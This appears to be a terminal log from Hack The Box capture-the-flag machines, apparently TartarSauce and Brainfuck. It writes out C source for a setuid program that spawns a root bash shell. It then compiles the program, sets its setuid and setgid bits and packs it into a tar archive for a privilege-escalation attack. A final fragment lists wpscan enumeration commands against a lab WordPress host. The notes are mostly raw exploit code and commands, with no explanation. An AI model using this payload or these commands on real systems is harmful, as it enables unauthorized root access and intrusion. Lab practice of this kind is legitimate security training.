root@kali:~/TartarSauce# cat privesc.

c
int main(void) {
setuid(0);
clearenv();
system("/usr/bin/python -c 'import pty; pty.spawn(\"/bin/bash\")'");
}

root@kali:~/TartarSauce# mkdir -p var/www/html

root@kali:~/TartarSauce# gcc -m32 privesc.c -o var/www/html/pwnd 2>/dev/null

root@kali:~/TartarSauce# chmod 6005 var/www/html/pwnd

root@kali:~/TartarSauce# ls -al var/www/html/pwnd

---S--Sr-x 1 root root 7332 Mar 8 18:15 var/www/html/pwnd

root@kali:~/TartarSauce# tar -zcvf pwnd.tar.gz var/www/html

var/www/html/
var/www/html/pwnd

root@kali:~/TartarSauce# ls -al pwnd.tar.gz

-rw-r--r-- 1 root root 2677 Mar 8 18:26 pwnd.tar.gz

=======================

./wpscan.rb --url https://brainfuck.htb --disable-tls-checks

./wpscan.rb --url https://brainfuck.htb --disable-tls-checks --enumerate at

--enumerate ap --enumerate u --disable-tls-checks